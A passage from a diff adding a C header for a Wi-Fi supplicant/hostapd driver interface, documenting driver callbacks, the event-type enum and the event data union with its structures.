address of the station to probe + * @qos: Indicates whether station is QoS station + * + * This function is used to verify whether an associated station is + * still present. This function does not need to be implemented if the + * driver provides such inactivity polling mechanism. + */ + void (*poll_client)(void *priv, const u8 *own_addr, + const u8 *addr, int qos); + + /** + * radio_disable - Disable/enable radio + * @priv: Private driver interface data + * @disabled: 1=disable 0=enable radio + * Returns: 0 on success, -1 on failure + * + * This optional command is for testing purposes. It can be used to + * disable the radio on a testbed device to simulate out-of-radio-range + * conditions. + */ + int (*radio_disable)(void *priv, int disabled); + + /** + * switch_channel - Announce channel switch and migrate the GO to the + * given frequency + * @priv: Private driver interface data + * @settings: Settings for CSA period and new channel + * Returns: 0 on success, -1 on failure + * + * This function is used to move the GO to the legacy STA channel to + * avoid frequency conflict in single channel concurrency. + */ + int (*switch_channel)(void *priv, struct csa_settings *settings); + + /** + * start_dfs_cac - Listen for radar interference on the channel + * @priv: Private driver interface data + * @freq: Channel parameters + * Returns: 0 on success, -1 on failure + */ + int (*start_dfs_cac)(void *priv, struct hostapd_freq_params *freq); + + /** + * stop_ap - Removes beacon from AP + * @priv: Private driver interface data + * Returns: 0 on success, -1 on failure (or if not supported) + * + * This optional function can be used to disable AP mode related + * configuration. Unlike deinit_ap, it does not change to station + * mode. + */ + int (*stop_ap)(void *priv); + + /** + * get_survey - Retrieve survey data + * @priv: Private driver interface data + * @freq: If set, survey data for the specified frequency is only + * being requested. If not set, all survey data is requested. + * Returns: 0 on success, -1 on failure + * + * Use this to retrieve: + * + * - the observed channel noise floor + * - the amount of time we have spent on the channel + * - the amount of time during which we have spent on the channel that + * the radio has determined the medium is busy and we cannot + * transmit + * - the amount of time we have spent receiving data + * - the amount of time we have spent transmitting data + * + * This data can be used for spectrum heuristics. One example is + * Automatic Channel Selection (ACS). The channel survey data is + * kept on a linked list on the channel data, one entry is added + * for each survey. The min_nf of the channel is updated for each + * survey. + */ + int (*get_survey)(void *priv, unsigned int freq); + + /** + * status - Get driver interface status information + * @priv: Private driver interface data + * @buf: Buffer for printing tou the status information + * @buflen: Maximum length of the buffer + * Returns: Length of written status information or -1 on failure + */ + int (*status)(void *priv, char *buf, size_t buflen); +}; + + +/** + * enum wpa_event_type - Event type for wpa_supplicant_event() calls + */ +enum wpa_event_type { + /** + * EVENT_ASSOC - Association completed + * + * This event needs to be delivered when the driver completes IEEE + * 802.11 association or reassociation successfully. + * wpa_driver_ops::get_bssid() is expected to provide the current BSSID + * after this event has been generated. In addition, optional + * EVENT_ASSOCINFO may be generated just before EVENT_ASSOC to provide + * more information about the association. If the driver interface gets + * both of these events at the same time, it can also include the + * assoc_info data in EVENT_ASSOC call. + */ + EVENT_ASSOC, + + /** + * EVENT_DISASSOC - Association lost + * + * This event should be called when association is lost either due to + * receiving deauthenticate or disassociate frame from the AP or when + * sending either of these frames to the current AP. If the driver + * supports separate deauthentication event, EVENT_DISASSOC should only + * be used for disassociation and EVENT_DEAUTH for deauthentication. + * In AP mode, union wpa_event_data::disassoc_info is required. + */ + EVENT_DISASSOC, + + /** + * EVENT_MICHAEL_MIC_FAILURE - Michael MIC (TKIP) detected + * + * This event must be delivered when a Michael MIC error is detected by + * the local driver. Additional data for event processing is + * provided with union wpa_event_data::michael_mic_failure. This + * information is used to request new encyption key and to initiate + * TKIP countermeasures if needed. + */ + EVENT_MICHAEL_MIC_FAILURE, + + /** + * EVENT_SCAN_RESULTS - Scan results available + * + * This event must be called whenever scan results are available to be + * fetched with struct wpa_driver_ops::get_scan_results(). This event + * is expected to be used some time after struct wpa_driver_ops::scan() + * is called. If the driver provides an unsolicited event when the scan + * has been completed, this event can be used to trigger + * EVENT_SCAN_RESULTS call. If such event is not available from the + * driver, the driver wrapper code is expected to use a registered + * timeout to generate EVENT_SCAN_RESULTS call after the time that the + * scan is expected to be completed. Optional information about + * completed scan can be provided with union wpa_event_data::scan_info. + */ + EVENT_SCAN_RESULTS, + + /** + * EVENT_ASSOCINFO - Report optional extra information for association + * + * This event can be used to report extra association information for + * EVENT_ASSOC processing. This extra information includes IEs from + * association frames and Beacon/Probe Response frames in union + * wpa_event_data::assoc_info. EVENT_ASSOCINFO must be send just before + * EVENT_ASSOC. Alternatively, the driver interface can include + * assoc_info data in the EVENT_ASSOC call if it has all the + * information available at the same point. + */ + EVENT_ASSOCINFO, + + /** + * EVENT_INTERFACE_STATUS - Report interface status changes + * + * This optional event can be used to report changes in interface + * status (interface added/removed) using union + * wpa_event_data::interface_status. This can be used to trigger + * wpa_supplicant to stop and re-start processing for the interface, + * e.g., when a cardbus card is ejected/inserted. + */ + EVENT_INTERFACE_STATUS, + + /** + * EVENT_PMKID_CANDIDATE - Report a candidate AP for pre-authentication + * + * This event can be used to inform wpa_supplicant about candidates for + * RSN (WPA2) pre-authentication. If wpa_supplicant is not responsible + * for scan request (ap_scan=2 mode), this event is required for + * pre-authentication. If wpa_supplicant is performing scan request + * (ap_scan=1), this event is optional since scan results can be used + * to add pre-authentication candidates. union + * wpa_event_data::pmkid_candidate is used to report the BSSID of the + * candidate and priority of the candidate, e.g., based on the signal + * strength, in order to try to pre-authenticate first with candidates + * that are most likely targets for re-association. + * + * EVENT_PMKID_CANDIDATE can be called whenever the driver has updates + * on the candidate list. In addition, it can be called for the current + * AP and APs that have existing PMKSA cache entries. wpa_supplicant + * will automatically skip pre-authentication in cases where a valid + * PMKSA exists. When more than one candidate exists, this event should + * be generated once for each candidate. + * + * Driver will be notified about successful pre-authentication with + * struct wpa_driver_ops::add_pmkid() calls. + */ + EVENT_PMKID_CANDIDATE, + + /** + * EVENT_STKSTART - Request STK handshake (MLME-STKSTART.request) + * + * This event can be used to inform wpa_supplicant about desire to set + * up secure direct link connection between two stations as defined in + * IEEE 802.11e with a new PeerKey mechanism that replaced the original + * STAKey negotiation. The caller will need to set peer address for the + * event. + */ + EVENT_STKSTART, + + /** + * EVENT_TDLS - Request TDLS operation + * + * This event can be used to request a TDLS operation to be performed. + */ + EVENT_TDLS, + + /** + * EVENT_FT_RESPONSE - Report FT (IEEE 802.11r) response IEs + * + * The driver is expected to report the received FT IEs from + * FT authentication sequence from the AP. The FT IEs are included in + * the extra information in union wpa_event_data::ft_ies. + */ + EVENT_FT_RESPONSE, + + /** + * EVENT_IBSS_RSN_START - Request RSN authentication in IBSS + * + * The driver can use this event to inform wpa_supplicant about a STA + * in an IBSS with which protected frames could be exchanged. This + * event starts RSN authentication with the other STA to authenticate + * the STA and set up encryption keys with it. + */ + EVENT_IBSS_RSN_START, + + /** + * EVENT_AUTH - Authentication result + * + * This event should be called when authentication attempt has been + * completed. This is only used if the driver supports separate + * authentication step (struct wpa_driver_ops::authenticate). + * Information about authentication result is included in + * union wpa_event_data::auth. + */ + EVENT_AUTH, + + /** + * EVENT_DEAUTH - Authentication lost + * + * This event should be called when authentication is lost either due + * to receiving deauthenticate frame from the AP or when sending that + * frame to the current AP. + * In AP mode, union wpa_event_data::deauth_info is required. + */ + EVENT_DEAUTH, + + /** + * EVENT_ASSOC_REJECT - Association rejected + * + * This event should be called when (re)association attempt has been + * rejected by the AP. Information about the association response is + * included in union wpa_event_data::assoc_reject. + */ + EVENT_ASSOC_REJECT, + + /** + * EVENT_AUTH_TIMED_OUT - Authentication timed out + */ + EVENT_AUTH_TIMED_OUT, + + /** + * EVENT_ASSOC_TIMED_OUT - Association timed out + */ + EVENT_ASSOC_TIMED_OUT, + + /** + * EVENT_FT_RRB_RX - FT (IEEE 802.11r) RRB frame received + */ + EVENT_FT_RRB_RX, + + /** + * EVENT_WPS_BUTTON_PUSHED - Report hardware push button press for WPS + */ + EVENT_WPS_BUTTON_PUSHED, + + /** + * EVENT_TX_STATUS - Report TX status + */ + EVENT_TX_STATUS, + + /** + * EVENT_RX_FROM_UNKNOWN - Report RX from unknown STA + */ + EVENT_RX_FROM_UNKNOWN, + + /** + * EVENT_RX_MGMT - Report RX of a management frame + */ + EVENT_RX_MGMT, + + /** + * EVENT_RX_ACTION - Action frame received + * + * This event is used to indicate when an Action frame has been + * received. Information about the received frame is included in + * union wpa_event_data::rx_action. + */ + EVENT_RX_ACTION, + + /** + * EVENT_REMAIN_ON_CHANNEL - Remain-on-channel duration started + * + * This event is used to indicate when the driver has started the + * requested remain-on-channel duration. Information about the + * operation is included in union wpa_event_data::remain_on_channel. + */ + EVENT_REMAIN_ON_CHANNEL, + + /** + * EVENT_CANCEL_REMAIN_ON_CHANNEL - Remain-on-channel timed out + * + * This event is used to indicate when the driver has completed + * remain-on-channel duration, i.e., may noot be available on the + * requested channel anymore. Information about the + * operation is included in union wpa_event_data::remain_on_channel. + */ + EVENT_CANCEL_REMAIN_ON_CHANNEL, + + /** + * EVENT_MLME_RX - Report reception of frame for MLME (test use only) + * + * This event is used only by driver_test.c and userspace MLME. + */ + EVENT_MLME_RX, + + /** + * EVENT_RX_PROBE_REQ - Indicate received Probe Request frame + * + * This event is used to indicate when a Probe Request frame has been + * received. Information about the received frame is included in + * union wpa_event_data::rx_probe_req. The driver is required to report + * these events only after successfully completed probe_req_report() + * commands to request the events (i.e., report parameter is non-zero) + * in station mode. In AP mode, Probe Request frames should always be + * reported. + */ + EVENT_RX_PROBE_REQ, + + /** + * EVENT_NEW_STA - New wired device noticed + * + * This event is used to indicate that a new device has been detected + * in a network that does not use association-like functionality (i.e., + * mainly wired Ethernet). This can be used to start EAPOL + * authenticator when receiving a frame from a device. The address of + * the device is included in union wpa_event_data::new_sta. + */ + EVENT_NEW_STA, + + /** + * EVENT_EAPOL_RX - Report received EAPOL frame + * + * When in AP mode with hostapd, this event is required to be used to + * deliver the receive EAPOL frames from the driver. With + * %wpa_supplicant, this event is used only if the send_eapol() handler + * is used to override the use of l2_packet for EAPOL frame TX. + */ + EVENT_EAPOL_RX, + + /** + * EVENT_SIGNAL_CHANGE - Indicate change in signal strength + * + * This event is used to indicate changes in the signal strength + * observed in frames received from the current AP if signal strength + * monitoring has been enabled with signal_monitor(). + */ + EVENT_SIGNAL_CHANGE, + + /** + * EVENT_INTERFACE_ENABLED - Notify that interface was enabled + * + * This event is used to indicate that the interface was enabled after + * having been previously disabled, e.g., due to rfkill. + */ + EVENT_INTERFACE_ENABLED, + + /** + * EVENT_INTERFACE_DISABLED - Notify that interface was disabled + * + * This event is used to indicate that the interface was disabled, + * e.g., due to rfkill. + */ + EVENT_INTERFACE_DISABLED, + + /** + * EVENT_CHANNEL_LIST_CHANGED - Channel list changed + * + * This event is used to indicate that the channel list has changed, + * e.g., because of a regulatory domain change triggered by scan + * results including an AP advertising a country code. + */ + EVENT_CHANNEL_LIST_CHANGED, + + /** + * EVENT_INTERFACE_UNAVAILABLE - Notify that interface is unavailable + * + * This event is used to indicate that the driver cannot maintain this + * interface in its operation mode anymore. The most likely use for + * this is to indicate that AP mode operation is not available due to + * operating channel would need to be changed to a DFS channel when + * the driver does not support radar detection and another virtual + * interfaces caused the operating channel to change. Other similar + * resource conflicts could also trigger this for station mode + * interfaces. + */ + EVENT_INTERFACE_UNAVAILABLE, + + /** + * EVENT_BEST_CHANNEL + * + * Driver generates this event whenever it detects a better channel + * (e.g., based on RSSI or channel use). This information can be used + * to improve channel selection for a new AP/P2P group. + */ + EVENT_BEST_CHANNEL, + + /** + * EVENT_UNPROT_DEAUTH - Unprotected Deauthentication frame received + * + * This event should be called when a Deauthentication frame is dropped + * due to it not being protected (MFP/IEEE 802.11w). + * union wpa_event_data::unprot_deauth is required to provide more + * details of the frame. + */ + EVENT_UNPROT_DEAUTH, + + /** + * EVENT_UNPROT_DISASSOC - Unprotected Disassociation frame received + * + * This event should be called when a Disassociation frame is dropped + * due to it not being protected (MFP/IEEE 802.11w). + * union wpa_event_data::unprot_disassoc is required to provide more + * details of the frame. + */ + EVENT_UNPROT_DISASSOC, + + /** + * EVENT_STATION_LOW_ACK + * + * Driver generates this event whenever it detected that a particular + * station was lost. Detection can be through massive transmission + * failures for example. + */ + EVENT_STATION_LOW_ACK, + + /** + * EVENT_P2P_DEV_FOUND - Report a discovered P2P device + * + * This event is used only if the driver implements P2P management + * internally. Event data is stored in + * union wpa_event_data::p2p_dev_found. + */ + EVENT_P2P_DEV_FOUND, + + /** + * EVENT_P2P_GO_NEG_REQ_RX - Report reception of GO Negotiation Request + * + * This event is used only if the driver implements P2P management + * internally. Event data is stored in + * union wpa_event_data::p2p_go_neg_req_rx. + */ + EVENT_P2P_GO_NEG_REQ_RX, + + /** + * EVENT_P2P_GO_NEG_COMPLETED - Report completion of GO Negotiation + * + * This event is used only if the driver implements P2P management + * internally. Event data is stored in + * union wpa_event_data::p2p_go_neg_completed. + */ + EVENT_P2P_GO_NEG_COMPLETED, + + EVENT_P2P_PROV_DISC_REQUEST, + EVENT_P2P_PROV_DISC_RESPONSE, + EVENT_P2P_SD_REQUEST, + EVENT_P2P_SD_RESPONSE, + + /** + * EVENT_IBSS_PEER_LOST - IBSS peer not reachable anymore + */ + EVENT_IBSS_PEER_LOST, + + /** + * EVENT_DRIVER_GTK_REKEY - Device/driver did GTK rekey + * + * This event carries the new replay counter to notify wpa_supplicant + * of the current EAPOL-Key Replay Counter in case the driver/firmware + * completed Group Key Handshake while the host (including + * wpa_supplicant was sleeping). + */ + EVENT_DRIVER_GTK_REKEY, + + /** + * EVENT_SCHED_SCAN_STOPPED - Scheduled scan was stopped + */ + EVENT_SCHED_SCAN_STOPPED, + + /** + * EVENT_DRIVER_CLIENT_POLL_OK - Station responded to poll + * + * This event indicates that the station responded to the poll + * initiated with @poll_client. + */ + EVENT_DRIVER_CLIENT_POLL_OK, + + /** + * EVENT_EAPOL_TX_STATUS - notify of EAPOL TX status + */ + EVENT_EAPOL_TX_STATUS, + + /** + * EVENT_CH_SWITCH - AP or GO decided to switch channels + * + * Described in wpa_event_data.ch_switch + * */ + EVENT_CH_SWITCH, + + /** + * EVENT_WNM - Request WNM operation + * + * This event can be used to request a WNM operation to be performed. + */ + EVENT_WNM, + + /** + * EVENT_CONNECT_FAILED_REASON - Connection failure reason in AP mode + * + * This event indicates that the driver reported a connection failure + * with the specified client (for example, max client reached, etc.) in + * AP mode. + */ + EVENT_CONNECT_FAILED_REASON, + + /** + * EVENT_RADAR_DETECTED - Notify of radar detection + * + * A radar has been detected on the supplied frequency, hostapd should + * react accordingly (e.g., change channel). + */ + EVENT_DFS_RADAR_DETECTED, + + /** + * EVENT_CAC_FINISHED - Notify that channel availability check has been completed + * + * After a successful CAC, the channel can be marked clear and used. + */ + EVENT_DFS_CAC_FINISHED, + + /** + * EVENT_CAC_ABORTED - Notify that channel availability check has been aborted + * + * The CAC was not successful, and the channel remains in the previous + * state. This may happen due to a radar beeing detected or other + * external influences. + */ + EVENT_DFS_CAC_ABORTED, + + /** + * EVENT_DFS_CAC_NOP_FINISHED - Notify that non-occupancy period is over + * + * The channel which was previously unavailable is now available again. + */ + EVENT_DFS_NOP_FINISHED, + + /* + * EVENT_SURVEY - Received survey data + * + * This event gets triggered when a driver query is issued for survey + * data and the requested data becomes available. The returned data is + * stored in struct survey_results. The results provide at most one + * survey entry for each frequency and at minimum will provide one survey + * entry for one frequency. The survey data can be os_malloc()'d and + * then os_free()'d, so the event callback must only copy data. + */ + EVENT_SURVEY +}; + + +/** + * struct freq_survey - Channel survey info + * + * @ifidx: Interface index in which this survey was observed + * @freq: Center of frequency of the surveyed channel + * @nf: Channel noise floor in dBm + * @channel_time: Amount of time in ms the radio spent on the channel + * @channel_time_busy: Amount of time in ms the radio detected some signal + * that indicated to the radio the channel was not clear + * @channel_time_rx: Amount of time the radio spent receiving data + * @channel_time_tx: Amount of time the radio spent transmitting data + * @filled: bitmask indicating which fields have been reported, see + * SURVEY_HAS_* defines. + * @list: Internal list pointers + */ +struct freq_survey { + u32 ifidx; + unsigned int freq; + s8 nf; + u64 channel_time; + u64 channel_time_busy; + u64 channel_time_rx; + u64 channel_time_tx; + unsigned int filled; + struct dl_list list; +}; + +#define SURVEY_HAS_NF BIT(0) +#define SURVEY_HAS_CHAN_TIME BIT(1) +#define SURVEY_HAS_CHAN_TIME_BUSY BIT(2) +#define SURVEY_HAS_CHAN_TIME_RX BIT(3) +#define SURVEY_HAS_CHAN_TIME_TX BIT(4) + + +/** + * union wpa_event_data - Additional data for wpa_supplicant_event() calls + */ +union wpa_event_data { + /** + * struct assoc_info - Data for EVENT_ASSOC and EVENT_ASSOCINFO events + * + * This structure is optional for EVENT_ASSOC calls and required for + * EVENT_ASSOCINFO calls. By using EVENT_ASSOC with this data, the + * driver interface does not need to generate separate EVENT_ASSOCINFO + * calls. + */ + struct assoc_info { + /** + * reassoc - Flag to indicate association or reassociation + */ + int reassoc; + + /** + * req_ies - (Re)Association Request IEs + * + * If the driver generates WPA/RSN IE, this event data must be + * returned for WPA handshake to have needed information. If + * wpa_supplicant-generated WPA/RSN IE is used, this + * information event is optional. + * + * This should start with the first IE (fixed fields before IEs + * are not included). + */ + const u8 *req_ies; + + /** + * req_ies_len - Length of req_ies in bytes + */ + size_t req_ies_len; + + /** + * resp_ies - (Re)Association Response IEs + * + * Optional association data from the driver. This data is not + * required WPA, but may be useful for some protocols and as + * such, should be reported if this is available to the driver + * interface. + * + * This should start with the first IE (fixed fields before IEs + * are not included). + */ + const u8 *resp_ies; + + /** + * resp_ies_len - Length of resp_ies in bytes + */ + size_t resp_ies_len; + + /** + * beacon_ies - Beacon or Probe Response IEs + * + * Optional Beacon/ProbeResp data: IEs included in Beacon or + * Probe Response frames from the current AP (i.e., the one + * that the client just associated with). This information is + * used to update WPA/RSN IE for the AP. If this field is not + * set, the results from previous scan will be used. If no + * data for the new AP is found, scan results will be requested + * again (without scan request). At this point, the driver is + * expected to provide WPA/RSN IE for the AP (if WPA/WPA2 is + * used). + * + * This should start with the first IE (fixed fields before IEs + * are not included). + */ + const u8 *beacon_ies; + + /** + * beacon_ies_len - Length of beacon_ies */ + size_t beacon_ies_len; + + /** + * freq - Frequency of the operational channel in MHz + */ + unsigned int freq; + + /** + * addr - Station address (for AP mode) + */ + const u8 *addr; + } assoc_info; + + /** + * struct disassoc_info - Data for EVENT_DISASSOC events + */ + struct disassoc_info { + /** + * addr - Station address (for AP mode) + */ + const u8 *addr; + + /** + * reason_code - Reason Code (host byte order) used in + * Deauthentication frame + */ + u16 reason_code; + + /** + * ie - Optional IE(s) in Disassociation frame + */ + const u8 *ie; + + /** + * ie_len - Length of ie buffer in octets + */ + size_t ie_len; + + /** + * locally_generated - Whether the frame was locally generated + */ + int locally_generated; + } disassoc_info; + + /** + * struct deauth_info - Data for EVENT_DEAUTH events + */ + struct deauth_info { + /** + * addr - Station address (for AP mode) + */ + const u8 *addr; + + /** + * reason_code - Reason Code (host byte order) used in + * Deauthentication frame + */ + u16 reason_code; + + /** + * ie - Optional IE(s) in Deauthentication frame + */ + const u8 *ie; + + /** + * ie_len - Length of ie buffer in octets + */ + size_t ie_len; + + /** + * locally_generated - Whether the frame was locally generated + */ + int locally_generated; + } deauth_info; + + /** + * struct michael_mic_failure - Data for EVENT_MICHAEL_MIC_FAILURE + */ + struct michael_mic_failure { + int unicast; + const u8 *src; + } michael_mic_failure; + + /** + * struct interface_status - Data for EVENT_INTERFACE_STATUS + */ + struct interface_status { + char ifname[100]; + enum { + EVENT_INTERFACE_ADDED, EVENT_INTERFACE_REMOVED + } ievent; + } interface_status; + + /** + * struct pmkid_candidate - Data for EVENT_PMKID_CANDIDATE + */ + struct pmkid_candidate { + /** BSSID of the PMKID candidate */ + u8 bssid[ETH_ALEN]; + /** Smaller the index, higher the priority */ + int index; + /** Whether RSN IE includes pre-authenticate flag */ + int preauth; + } pmkid_candidate; + + /** + * struct stkstart - Data for EVENT_STKSTART + */ + struct stkstart { + u8 peer[ETH_ALEN]; + } stkstart; + + /** + * struct tdls - Data for EVENT_TDLS + */ + struct tdls { + u8 peer[ETH_ALEN]; + enum { + TDLS_REQUEST_SETUP, + TDLS_REQUEST_TEARDOWN + } oper; + u16 reason_code; /* for teardown */ + } tdls; + + /** + * struct wnm - Data for EVENT_WNM + */ + struct wnm { + u8 addr[ETH_ALEN]; + enum { + WNM_OPER_SLEEP, + } oper; + enum { + WNM_SLEEP_ENTER, + WNM_SLEEP_EXIT + } sleep_action; + int sleep_intval; + u16 reason_code; + u8 *buf; + u16 buf_len; + } wnm; + + /** + * struct ft_ies - FT information elements (EVENT_FT_RESPONSE) + * + * During FT (IEEE 802.11r) authentication sequence, the driver is + * expected to use this event to report received FT IEs (MDIE, FTIE, + * RSN IE, TIE, possible resource request) to the supplicant. The FT + * IEs for the next message will be delivered through the + * struct wpa_driver_ops::update_ft_ies() callback. + */ + struct ft_ies { + const u8 *ies; + size_t ies_len; + int ft_action; + u8 target_ap[ETH_ALEN]; + /** Optional IE(s), e.g., WMM TSPEC(s), for RIC-Request */ + const u8 *ric_ies; + /** Length of ric_ies buffer in octets */ + size_t ric_ies_len; + } ft_ies; + + /** + * struct ibss_rsn_start - Data for EVENT_IBSS_RSN_START + */ + struct ibss_rsn_start { + u8 peer[ETH_ALEN]; + } ibss_rsn_start; + + /** + * struct auth_info - Data for EVENT_AUTH events + */ + struct auth_info { + u8 peer[ETH_ALEN]; + u8 bssid[ETH_ALEN]; + u16 auth_type; + u16 auth_transaction; + u16 status_code; + const u8 *ies; + size_t ies_len; + } auth; + + /** + * struct assoc_reject - Data for EVENT_ASSOC_REJECT events + */ + struct assoc_reject { + /** + * bssid - BSSID of the AP that rejected association + */ + const u8 *bssid; + + /** + * resp_ies - (Re)Association Response IEs + * + * Optional association data from the driver. This data is not + * required WPA, but may be useful for some protocols and as + * such, should be reported if this is available to the driver + * interface. + * + * This should start with the first IE (fixed fields before IEs + * are not included). + */ + const u8 *resp_ies; + + /** + * resp_ies_len - Length of resp_ies in bytes + */ + size_t resp_ies_len; + + /** + * status_code - Status Code from (Re)association Response + */ + u16 status_code; + } assoc_reject; + + struct timeout_event { + u8 addr[ETH_ALEN]; + } timeout_event; + + /** + * struct ft_rrb_rx - Data for EVENT_FT_RRB_RX events + */ + struct ft_rrb_rx { + const u8 *src; + const u8 *data; + size_t data_len; + } ft_rrb_rx; + + /** + * struct tx_status - Data for EVENT_TX_STATUS events + */ + struct tx_status { + u16 type; + u16 stype; + const u8 *dst; + const u8 *data; + size_t data_len; + int ack; + } tx_status; + + /** + * struct rx_from_unknown - Data for EVENT_RX_FROM_UNKNOWN events + */ + struct rx_from_unknown { + const u8 *bssid; + const u8 *addr; + int wds; + } rx_from_unknown; + + /** + * struct rx_mgmt - Data for EVENT_RX_MGMT events + */ + struct rx_mgmt { + const u8 *frame; + size_t frame_len; + u32 datarate; + int ssi_signal; /* dBm */ + } rx_mgmt; + + /** + * struct rx_action - Data for EVENT_RX_ACTION events + */ + struct rx_action { + /** + * da - Destination address of the received Action frame + */ + const u8 *da; + + /** + * sa - Source address of the received Action frame + */ + const u8 *sa; + + /** + * bssid - Address 3 of the received Action frame + */ + const u8 *bssid; + + /** + * category - Action frame category + */ + u8 category; + + /** + * data - Action frame body after category field + */ + const u8 *data; + + /** + * len - Length of data in octets + */ + size_t len; + + /** + * freq - Frequency (in MHz) on which the frame was received + */ + int freq; + } rx_action; + + /** + * struct remain_on_channel - Data for EVENT_REMAIN_ON_CHANNEL events + * + * This is also used with EVENT_CANCEL_REMAIN_ON_CHANNEL events. + */ + struct remain_on_channel { + /** + * freq - Channel frequency in MHz + */ + unsigned int freq; + + /** + * duration - Duration to remain on the channel in milliseconds + */ + unsigned int duration; + } remain_on_channel; + + /** + * struct scan_info - Optional data for EVENT_SCAN_RESULTS events + * @aborted: Whether the scan was aborted + * @freqs: Scanned frequencies in MHz (%NULL = all channels scanned) + * @num_freqs: Number of entries in freqs array + * @ssids: Scanned SSIDs (%NULL or zero-length SSID indicates wildcard + * SSID) + * @num_ssids: Number of entries in ssids array + */ + struct scan_info { + int aborted; + const int *freqs; + size_t num_freqs; + struct wpa_driver_scan_ssid ssids[WPAS_MAX_SCAN_SSIDS]; + size_t num_ssids; + } scan_info; + + /** + * struct mlme_rx - Data for EVENT_MLME_RX events + */ + struct mlme_rx { + const u8 *buf; + size_t len; + int freq; + int channel; + int ssi; + } mlme_rx; + + /** + * struct rx_probe_req - Data for EVENT_RX_PROBE_REQ events + */ + struct rx_probe_req { + /** + * sa - Source address of the received Probe Request frame + */ + const u8 *sa; + + /** + * da - Destination address of the received Probe Request frame + * or %NULL if not available + */ + const u8 *da; + + /** + * bssid - BSSID of the received Probe Request frame or %NULL + * if not available + */ + const u8 *bssid; + + /** + * ie - IEs from the Probe Request body + */ + const u8 *ie; + + /** + * ie_len - Length of ie buffer in octets + */ + size_t ie_len; + + /** + * signal - signal strength in dBm (or 0 if not available) + */ + int ssi_signal; + } rx_probe_req; + + /** + * struct new_sta - Data for EVENT_NEW_STA events + */ + struct new_sta { + const u8 *addr; + } new_sta; + + /** + * struct eapol_rx - Data for EVENT_EAPOL_RX events + */ + struct eapol_rx { + const u8 *src; + const u8 *data; + size_t data_len; + } eapol_rx; + + /** + * signal_change - Data for EVENT_SIGNAL_CHANGE events + */ + struct wpa_signal_info signal_change; + + /** + * struct best_channel - Data for EVENT_BEST_CHANNEL events + * @freq_24: Best 2.4 GHz band channel frequency in MHz + * @freq_5: Best 5 GHz band channel frequency in MHz + * @freq_overall: Best channel frequency in MHz + * + * 0 can be used to indicate no preference in either band. + */ + struct best_channel { + int freq_24; + int freq_5; + int freq_overall; + } best_chan; + + struct unprot_deauth { + const u8 *sa; + const u8 *da; + u16 reason_code; + } unprot_deauth; + + struct unprot_disassoc { + const u8 *sa; + const u8 *da; + u16 reason_code; + } unprot_disassoc; + + /** + * struct low_ack - Data for EVENT_STATION_LOW_ACK events + * @addr: station address + */ + struct low_ack { + u8 addr[ETH_ALEN]; + } low_ack; + + /** + * struct p2p_dev_found - Data for EVENT_P2P_DEV_FOUND + */ + struct p2p_dev_found { + const u8 *addr; + const u8 *dev_addr; + const u8 *pri_dev_type; + const char *dev_name; + u16 config_methods; + u8 dev_capab; + u8 group_capab; + } p2p_dev_found; + + /** + * struct p2p_go_neg_req_rx - Data for EVENT_P2P_GO_NEG_REQ_RX + */ + struct p2p_go_neg_req_rx { + const u8 *src; + u16 dev_passwd_id; + } p2p_go_neg_req_rx; + + /** + * struct p2p_go_neg_completed - Data for EVENT_P2P_GO_NEG_COMPLETED + */ + struct p2p_go_neg_completed { + struct p2p_go_neg_results *res; + } p2p_go_neg_completed; + + struct p2p_prov_disc_req { + const u8 *peer; + u16 config_methods; + const u8 *dev_addr; + const u8 *pri_dev_type; + const char *dev_name; + u16 supp_config_methods; + u8 dev_capab; + u8 group_capab; + } p2p_prov_disc_req; + + struct p2p_prov_disc_resp { + const u8 *peer; + u16 config_methods; + } p2p_prov_disc_resp; + + struct p2p_sd_req { + int freq; + const u8 *sa; + u8 dialog_token; + u16 update_indic; + const u8 *tlvs; + size_t tlvs_len; + } p2p_sd_req; + + struct p2p_sd_resp { + const u8 *sa; + u16 update_indic; + const u8 *tlvs; + size_t tlvs_len; + } p2p_sd_resp; + + /** + * struct ibss_peer_lost - Data for EVENT_IBSS_PEER_LOST + */ + struct ibss_peer_lost { + u8 peer[ETH_ALEN]; + } ibss_peer_lost; + + /** + * struct driver_gtk_rekey - Data for EVENT_DRIVER_GTK_REKEY + */ + struct driver_gtk_rekey { + const u8 *bssid; + const u8 *replay_ctr; + } driver_gtk_rekey; + + /** + * struct client_poll - Data for EVENT_DRIVER_CLIENT_POLL_OK events + * @addr: station address + */ + struct client_poll { + u8 addr[ETH_ALEN]; + } client_poll; + + /** + * struct eapol_tx_status + * @dst: Original destination + * @data: Data starting with IEEE 802.1X header (!) + * @data_len: Length of data + * @ack: Indicates ack or lost frame + * + * This corresponds to hapd_send_eapol if the frame sent + * there isn't just reported as EVENT_TX_STATUS. + */ + struct eapol_tx_status { + const u8 *dst; + const u8 *data; + int data_len; + int ack; + } eapol_tx_status; + + /** + * struct ch_switch + * @freq: Frequency of new channel in MHz + * @ht_enabled: Whether this is an HT channel + * @ch_offset: Secondary channel offset + */ + struct ch_switch { + int freq; + int ht_enabled; + int ch_offset; + } ch_switch; + + /** + * struct connect_failed - Data for EVENT_CONNECT_FAILED_REASON + * @addr: Remote client address + * @code: Reason code for connection failure + */ + struct connect_failed_reason { + u8 addr[ETH_ALEN]; + enum { + MAX_CLIENT_REACHED, + BLOCKED_CLIENT + } code; + } connect_failed_reason; + + /** + * struct dfs_event - Data for radar detected events + * @freq: Frequency of the channel in MHz + */ + struct dfs_event { + int freq; + int ht_enabled; + int chan_offset; + enum chan_width chan_width; + int cf1; + int cf2; + } dfs_event; + + /** + * survey_results - Survey result data for EVENT_SURVEY + * @freq_filter: Requested frequency survey filter, 0 if request + * was for all survey data + * @survey_list: Linked list of survey data + */ + struct survey_results { + unsigned int freq_filter; + struct dl_list survey_list; /* struct freq_survey */ + } survey_results; + + /** + * channel_list_changed - Data for EVENT_CHANNEL_LIST_CHANGED + * @initiator: Initiator of the regulatory change + */ + struct channel_list_changed { + enum reg_change_initiator initiator; + } channel_list_changed; +}; + +/** + * wpa_supplicant_event - Report a driver event for wpa_supplicant + * @ctx: Context pointer (wpa_s); this is the ctx variable registered + * with struct wpa_driver_ops::init() + * @event: event type (defined above) + * @data: possible extra data for the event + * + * Driver wrapper code should call this function whenever an event is received + * from the driver. + */ +void wpa_supplicant_event(void *ctx, enum wpa_event_type event, + union wpa_event_data *data); + + +/* + * The following inline functions are provided for convenience to simplify + * event indication for some of the common events. + */ + +static inline void drv_event_assoc(void *ctx, const u8 *addr, const u8 *ie, + size_t ielen, int reassoc) +{ + union wpa_event_data event; + os_memset(&event, 0, sizeof(event)); + event.assoc_info.reassoc = reassoc; + event.assoc_info.req_ies = ie; + event.assoc_info.req_ies_len = ielen; 